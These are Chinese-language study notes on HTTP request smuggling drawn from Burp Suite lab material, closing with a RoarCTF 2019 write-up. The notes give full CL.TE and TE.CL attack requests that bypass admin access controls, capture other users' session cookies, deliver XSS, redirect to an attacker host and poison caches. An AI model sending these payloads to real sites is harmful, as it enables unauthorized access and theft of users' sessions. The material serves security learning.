0%

HTTP请求走私漏洞学习

bp实验室HTTP请求走私漏洞学习笔记

什么是http请求走私

HTTP 请求走私是一种干扰网站处理从一个或多个用户收到的 HTTP 请求序列的方式的技术。请求走私漏洞通常性质严重,允许攻击者绕过安全控制、未经授权访问敏感数据并直接危害其他应用程序用户。
请求走私主要与 HTTP/1 请求有关。但是,支持 HTTP/2 的网站也可能存在漏洞,具体取决于其后端架构。
现在的web应用在用户和最终应用服务中有一个http链,就是用户通过前段发送请求,前端再把这个请求发送给一个或者多个后端,通常前端会向后端发送多个请求,因为这样效率更高。http的请求会一个接一个的发送,接受的服务器必须决定一个请求在哪里结束,下一个请求在哪里开始
所以后端和前端的请求之间的界限就要有明确规定,不然攻击者就可以用模糊的请求,让前端和后端处理请求不一样

这幅图就是一个例子,攻击者发送前端请求,让后端把一部分当作了下一个请求的开始,(橙色部分) , 然后这部分就添加到了下一个请求上,这样就干扰了程序的正常请求,这就是一个走私攻击。

http请求走私如何出现的

大多数 HTTP 请求走私漏洞的出现是因为 HTTP/1 规范提供了两种不同的方式来指定请求的结束位置: Content-Length标头和Transfer-Encoding标头。
Content-Length标头很简单:它指定消息正文的长度(以字节为单位)。

1
2
3
4
5
6
POST /search HTTP/1.1
Host: normal-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 11

q=smuggling

Transfer-Encoding标头可用于指定消息正文使用分块编码。这表示消息主体包含一个或多个数据块。每个数据块由数据块大小(以字节为单位)组成(以 十六进制),然后是换行符,然后是块内容。消息以大小为零的块结束。

1
2
3
4
5
6
7
8
POST /search HTTP/1.1
Host: normal-website.com
Content-Type: application/x-www-form-urlencoded
Transfer-Encoding: chunked

b
q=smuggling
0

这个例子中,有两个数据块,一个数据块有11字节的大小(b) 内容是q=smuggling,第二块大小为0 代表结束
浏览器通常不会在请求中使用分块编码,并且通常仅在服务器响应中看到它.

因为HTTP/1中有这两种指定http消息长度的方式,所以一条消息可能会同时用两种方式,从而造成冲突。
在规定中如果这两种方式同时出现,应该优先考虑Transfer-Encoding,但是这种方式只在仅有一台服务器的时候奏效,因为如果有多台服务器,可能有某些服务器不支持Transfer-Encoding,或者支持的服务器又被诱导不处理它,那就造成了前端和后端对Transfer-Encoding标头的处理不同,那么就可能对连续请求的边界存在歧义,从而造成请求走私漏洞

————note
端到端使用 HTTP/2 的网站本质上不受请求走私攻击的影响。由于 HTTP/2 规范引入了一种用于指定请求长度的单一、强大的机制,因此攻击者无法引入所需的歧义。
然而,许多网站都有支持 HTTP/2 的前端服务器,但将其部署在仅支持 HTTP/1 的后端基础设施前面。这意味着前端必须有效地将收到的请求转换为 HTTP/1。此过程称为 HTTP 降级。这就涉及到了高级http请求走私

如何执行http请求走私

通常是由Transfer-Encoding Content-Length标头放在同一个HTTP/1请求中,对其进行操作,让前端和后端用不同的方式处理。具体由两个服务器的行为决定:

  • CL.TE:前端服务器使用Content-Length标头,后端服务器使用Transfer-Encoding标头。
  • TE.CL:前端服务器使用Transfer-Encoding标头,后端服务器使用Content-Length标头。
  • TE.TE:前端和后端服务器都支持Transfer-Encoding标头,但其中一个 可以通过某种方式混淆标头来诱导服务器不处理它。

————note
这些方式只能用在HTTP/1请求中,在测试支持HTTP2的站点中要在 Burp Repeater 中手动切换协议 从Inspector面板的Request 属性部分执行此操作。

CL.CL

服务器遇见一个请求中包含两个Content-Length时,应该返回400错误,但一些服务器可能不会严格执行该规范,此时就可能出现请求走私。
前端代理服务器和后端服务器在收到一个包含两个Content-Length的请求时,皆不返回400,且此时前端代理服务器采用的是第一个Content-Length,后端服务器采用的是第二个Content-Length
假如构造请求

1
2
3
4
5
6
7
POST / HTTP/1.1\r\n
Host: example.com\r\n
Content-Length: 8\r\n
Content-Length: 7\r\n

12345\r\n
a

根据CL的长度不同,还有a会发送到后端服务器中

CL.TE

前端用Content-Length 后端用 Transfer-Encoding
攻击示例

1
2
3
4
5
6
7
8
POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 13
Transfer-Encoding: chunked

0

SMUGGLED

前端用Content-Length: 13发送请求,表示消息长度是13 也就是0\r\n\r\nSMUGGLED
但是后端用Transfer-Encoding: chunked处理,它看到0之后就以为是结束,SMUGGLED消息就会被当作是下一个请求的开始

TE.CL

前端用Transfer-Encoding 后端用Content-Length

1
2
3
4
5
6
7
8
POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 3
Transfer-Encoding: chunked

8
SMUGGLED
0

前端用Transfer-Encoding 后端用 Content-Length,这样后端在处理的时候,就处理到8\r\n这行,后面的没有给处理,会被当作下一个请求

TE.TE

在这里,前端和后端服务器都支持 Transfer-Encoding 标头,但其中一个服务器 可以通过以某种方式混淆 Headers 来诱导不处理它。
例如

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
Transfer-Encoding: xchunked

Transfer-Encoding : chunked

Transfer-Encoding: chunked
Transfer-Encoding: x

Transfer-Encoding:[tab]chunked

[space]Transfer-Encoding: chunked

X: X[\n]Transfer-Encoding: chunked

Transfer-Encoding
: chunked

这些技术中的每一种都涉及与 HTTP 规范的细微差异。实现协议规范的实际代码很少以绝对精度遵守它,并且不同的实现通常会容忍与规范不同的变化。要发现 TE.TE 漏洞,必须找到 Transfer-Encoding 标头的一些变体,以便只有一个前端或后端服务器处理它,而 其他服务器会忽略它。
根据是前端服务器还是后端服务器可以被诱使不处理混淆的 Transfer-Encoding 标头,攻击的其余部分将采用与 CL.TE 或 TE 相同的形式。CL 漏洞。

如何识别

使用计时技术查找 HTTP 请求走私漏洞

CL.TE

如果应用程序容易受到请求走私的 CL.TE 变体的攻击,则发送如下请求通常会导致时间延迟:

1
2
3
4
5
6
7
8
POST / HTTP/1.1
Host: vulnerable-website.com
Transfer-Encoding: chunked
Content-Length: 4

1
A
X

由于前端服务器使用 Content-Length 标头,因此它只会转发此请求的一部分,省略 X。后端服务器使用 Transfer-Encoding 标头,处理第一个块,然后等待下一个块到达。这将导致可观察的时间延迟。

TE.CL

1
2
3
4
5
6
7
8
POST / HTTP/1.1
Host: vulnerable-website.com
Transfer-Encoding: chunked
Content-Length: 6

0

X

由于前端服务器使用 Transfer-Encoding 标头,因此它只会转发此请求的一部分,省略 X。后端服务器使用 Content-Length 标头,期望邮件正文中有更多的内容,并等待剩余内容到达。这将导致可观察的时间延迟。

要注意的是,要先测试CL.TE 再测试TE.CL

使用差分响应确认 HTTP 请求走私漏洞

CL.TE

当检测到可能的请求走私漏洞时,可以通过利用它来触发应用程序响应内容的差异,从而获得该漏洞的进一步证据。这涉及快速连续地向应用程序发送两个请求:

  • 旨在干扰下一个请求的处理的 “攻击” 请求。
  • 一个 “正常” 请求。
    如果对正常请求的响应包含预期的干扰,则确认漏洞
1
2
3
4
5
6
POST /search HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 11

q=smuggling

此正常请求通常会收到状态代码为 200 的 HTTP 响应,其中包含一些搜索结果
要确认 CL.TE 漏洞 可以发送

1
2
3
4
5
6
7
8
9
10
11
12
POST /search HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 49
Transfer-Encoding: chunked

e
q=smuggling&x=
0

GET /404 HTTP/1.1
Foo: x

如果攻击成功,则后端服务器会将此请求的最后两行视为属于收到的下一个请求。这将导致后续的 “normal” 请求如下所示:

1
2
3
4
5
6
7
GET /404 HTTP/1.1
Foo: xPOST /search HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 11

q=smuggling

服务器将以状态代码 404 进行响应,这表明攻击请求确实干扰了它。 也就确认了CL.TE漏洞

TE.CL

1
2
3
4
5
6
7
8
9
10
11
12
13
14
POST /search HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 4
Transfer-Encoding: chunked

7c
GET /404 HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 144

x=
0

发送这个消息
—————note
要使用 Burp Repeater 发送此请求, 首先需要转到 Repeater 菜单并确保未选中“Update Content-Length”选项。
需要在最后的 0 后面包含尾随序列 \r\n\r\n。

如果攻击成功,则后端服务器会将 GET /404 之后的所有内容视为属于收到的下一个请求。这将导致后续的 “normal” 请求如下所示:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
GET /404 HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 146

x=
0

POST /search HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 11

q=smuggling

服务器将以状态代码 404 进行响应,这表明攻击请求确实干扰了它。

利用漏洞

绕过前端安全控制

例如,假设应用程序使用前端服务器实现访问控制限制,仅当用户有权访问请求的 URL 时,才转发请求。然后,后端服务器将接受每个请求,而不进行进一步检查。在这种情况下,HTTP 请求走私漏洞可用于绕过访问控制,方法是将请求走私到受限制的 URL。

假设允许当前用户访问 /home,但不能访问 /admin。他们可以使用以下请求走私攻击来绕过此限制:

1
2
3
4
5
6
7
8
9
10
11
12
POST /home HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 62
Transfer-Encoding: chunked

0

GET /admin HTTP/1.1
Host: vulnerable-website.com
Foo: xGET /home HTTP/1.1
Host: vulnerable-website.com

前端服务器在此处看到两个请求,两个请求都是针对 /home的,因此这些请求被转发到后端服务器。但是,后端服务器会看到一个 /home 请求和一个 /admin 请求。它假定(一如既往)请求已通过前端控件,因此授予对受限 URL 的访问权限。

显示前端请求重写

在许多应用程序中,前端服务器在将请求转发到后端服务器之前会执行一些请求重写,通常是通过添加一些额外的请求标头。例如,前端服务器可能:

  • 终止 TLS 连接并添加一些描述所用协议和密码的标头;
  • 添加包含用户 IP 地址的 X-Forwarded-For 标头;
  • 根据用户的会话令牌确定用户的 ID,并添加标识用户的标头;
  • 添加一些其他攻击感兴趣的敏感信息。

假设应用程序具有反映 email 参数值的 login 函数:

1
2
3
4
5
6
POST /login HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 28

email=wiener@normal-user.net

生成的内容响应

1
<input id="email" value="wiener@normal-user.net" type="text">

可以用下面的攻击揭示前端服务器执行的重写:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 130
Transfer-Encoding: chunked

0

POST /login HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 100

email=POST /login HTTP/1.1
Host: vulnerable-website.com
...

前端服务器将重写请求以包含其他标头,然后后端服务器将处理走私请求,并将重写的第二个请求视为 email 参数的值。然后,它会在对第二个请求的响应中反映此值:

1
2
3
4
5
6
7
8
9
<input id="email" value="POST /login HTTP/1.1
Host: vulnerable-website.com
X-Forwarded-For: 1.3.3.7
X-Forwarded-Proto: https
X-TLS-Bits: 128
X-TLS-Cipher: ECDHE-RSA-AES128-GCM-SHA256
X-TLS-Version: TLSv1.2
x-nr-external-service: external
...

一旦揭示了前端服务器如何重写请求,就可以对走私请求应用必要的重写,以确保后端服务器按预期方式处理这些请求。

绕过客户端身份验证

作为 TLS 握手的一部分,服务器通过提供证书向客户端(通常是浏览器)验证自身身份。此证书包含其“公用名”(CN),该名称应与其注册的主机名匹配。然后,客户端可以使用它来验证他们是否正在与属于预期域的合法服务器通信。

一些站点更进一步,实现了一种相互 TLS 身份验证形式,其中客户端还必须向服务器提供证书。在这种情况下,客户端的 CN 通常是用户名或类似的东西,例如,它可以作为访问控制机制的一部分在后端应用程序逻辑中使用。

对客户端进行身份验证的组件通常通过一个或多个非标准 HTTP 标头将相关详细信息从证书传递到应用程序或后端服务器。例如,前端服务器有时会将包含客户端 CN 的标头附加到任何传入请求:

1
2
3
GET /admin HTTP/1.1
Host: normal-website.com
X-SSL-CLIENT-CN: carlos

捕获其他用户的请求

如果应用程序包含任何类型的功能,允许 存储和稍后检索文本数据,则可能会使用它来捕获其他用户请求的内容。这些可能包括用户提交的会话令牌或其他敏感数据。用作此攻击工具的合适功能是评论、电子邮件、配置文件描述、屏幕名称等。

要执行攻击, 需要走私一个将数据提交到 storage 函数的请求,其中包含要存储的数据的参数位于请求的最后。例如,假设应用程序使用以下请求提交博客文章评论,该评论将被存储并显示在博客上:

1
2
3
4
5
6
7
POST /post/comment HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 154
Cookie: session=BOe1lFDosZ9lk7NLUpWcG8mjiwbeNZAO

csrf=SmsWiwIJ07Wg5oqX87FfUVkMThn9VzO0&postId=2&comment=My+comment&name=Carlos+Montoya&email=carlos%40normal-user.net&website=https%3A%2F%2Fnormal-user.net

现在考虑一下,如果 走私一个等效请求,其中包含过长的 Content-Length 标头,并且 comment 参数位于请求末尾,如下所示:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
GET / HTTP/1.1
Host: vulnerable-website.com
Transfer-Encoding: chunked
Content-Length: 330

0

POST /post/comment HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 400
Cookie: session=BOe1lFDosZ9lk7NLUpWcG8mjiwbeNZAO

csrf=SmsWiwIJ07Wg5oqX87FfUVkMThn9VzO0&postId=2&name=Carlos+Montoya&email=carlos%40normal-user.net&website=https%3A%2F%2Fnormal-user.net&comment=

走私请求的 Content-Length 标头指示正文长度为 400 字节,但我们只发送了 144 字节。在这种情况下,后端服务器将等待剩余的 256 字节,然后再发出响应,或者如果响应速度不够快,则会发出超时。因此,当通过同一连接将另一个请求发送到后端服务器时,前 256 字节将有效地附加到走私请求中

要捕获受害者的更多请求, 只需相应地增加走私请求的 Content-Length 标头的值,但请注意,这将涉及一定量的试验和错误。如果 遇到超时,这可能意味着 指定的 Content-Length 高于受害者请求的实际长度。在这种情况下,只需减小该值,直到攻击再次起作用。

利用反射型XSS

如果应用程序容易受到 HTTP 请求走私的攻击,并且还包含反射型 XSS,则可以使用请求走私攻击来攻击应用程序的其他用户。这种方法在两个方面优于对反射型 XSS 的正常利用:
它不需要与受害者用户交互。 无需向他们提供 URL 并等待他们访问它。 只需走私一个包含 XSS 有效负载的请求,后端服务器处理的下一个用户请求就会被命中。
它可用于利用请求中在正常反射型 XSS 攻击中无法轻松控制的部分的 XSS 行为,例如 HTTP 请求标头。
例如,假设应用程序在 User-Agent 标头中具有反射的 XSS 漏洞。 可以在请求走私攻击中利用此漏洞,如下所示:

1
2
3
4
5
6
7
8
9
10
POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 63
Transfer-Encoding: chunked

0

GET / HTTP/1.1
User-Agent: <script>alert(1)</script>
Foo: X

将现场重定向转换为开放重定向

一个重定向请求

1
2
3
4
5
GET /home HTTP/1.1
Host: normal-website.com

HTTP/1.1 301 Moved Permanently
Location: https://normal-website.com/home/

此行为通常被认为是无害的,但可以在请求走私攻击中被利用,将其他用户重定向到外部域。例如:

1
2
3
4
5
6
7
8
9
10
POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 54
Transfer-Encoding: chunked

0

GET /home HTTP/1.1
Host: attacker-website.com
Foo: X

走私的请求会触发重定向到攻击者的网站,这将影响到后端服务器处理的下一个用户的请求。例如:

1
2
3
4
5
6
7
GET /home HTTP/1.1
Host: attacker-website.com
Foo: XGET /scripts/include.js HTTP/1.1
Host: vulnerable-website.com

HTTP/1.1 301 Moved Permanently
Location: https://attacker-website.com/home/

使用 HTTP 请求走私执行 Web 缓存中毒

在上述攻击的变体中,有可能利用 HTTP 请求走私来执行 Web 缓存中毒攻击。如果前端基础设施的任何部分执行内容缓存(通常是出于性能原因),则可能会使用场外重定向响应来毒害缓存。这将使攻击持续存在,影响随后请求受影响 URL 的任何用户。

1
2
3
4
5
6
7
8
9
10
11
POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 59
Transfer-Encoding: chunked

0

GET /home HTTP/1.1
Host: attacker-website.com
Foo: XGET /static/include.js HTTP/1.1
Host: vulnerable-website.com

走私请求到达后端服务器,后端服务器像以前一样使用场外重定向进行响应。前端服务器根据它认为是第二个请求中的 URL(即 /static/include.js)缓存此响应:

1
2
3
4
5
GET /static/include.js HTTP/1.1
Host: vulnerable-website.com

HTTP/1.1 301 Moved Permanently
Location: https://attacker-website.com/home/

使用 HTTP 请求走私执行 Web 缓存欺骗

在攻击的另一种变体中, 可以利用 HTTP 请求走私来执行 Web 缓存欺骗。其工作方式与 Web 缓存中毒攻击类似,但目的不同。
Web 缓存中毒和 Web 缓存欺骗有什么区别?

  • 在 Web 缓存中毒中,攻击者会导致应用程序在缓存中存储一些恶意内容,并将这些内容从缓存提供给其他应用程序用户。
  • 在 Web 缓存欺骗中,攻击者使应用程序在缓存中存储一些属于其他用户的敏感内容,然后攻击者从缓存中检索这些内容。
    在此变体中,攻击者走私一个请求,该请求返回一些敏感的用户特定内容。例如
1
2
3
4
5
6
7
8
9
POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 43
Transfer-Encoding: chunked

0

GET /private/messages HTTP/1.1
Foo: X

来自另一个用户转发到后端服务器的下一个请求将附加到走私请求中,包括会话 Cookie 和其他标头。例如:

1
2
3
4
5
GET /private/messages HTTP/1.1
Foo: XGET /static/some-image.png HTTP/1.1
Host: vulnerable-website.com
Cookie: sessionId=q1jn30m6mqa7nbwsa0bhmbr7ln2vmh7z
...

这里需要注意的一个重要问题是,攻击者不知道缓存敏感内容所针对的 URL,因为这将是受害用户在走私请求生效时碰巧请求的任何 URL。攻击者可能需要获取大量静态 URL 才能发现捕获的内容。

例题

[RoarCTF 2019]Easy Calc

查看一下页面源代码

这里有出现一个calc.php的页面提示,访问之后得到源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
error_reporting(0);
if(!isset($_GET['num'])){
show_source(__FILE__);
}else{
$str = $_GET['num'];
$blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]','\$','\\','\^'];
foreach ($blacklist as $blackitem) {
if (preg_match('/' . $blackitem . '/m', $str)) {
die("what are you want to do?");
}
}
eval('echo '.$str.';');
}
?>

但是随便输入一点数据之后,发现不只是这些字符被过滤了,字母也被过滤了
这里就可以用http请求走私漏洞,让页面收到两个请求,任意类型的都可以,只要让页面报错就可以

下一步就是找到disable_functions 可以看到禁了很多函数,但是php还是有很多函数可以用可以先用scandir看当前目录的文件
因为过滤了/ 所以用chr转一下

最后用file_get_contents或者show_source函数看flag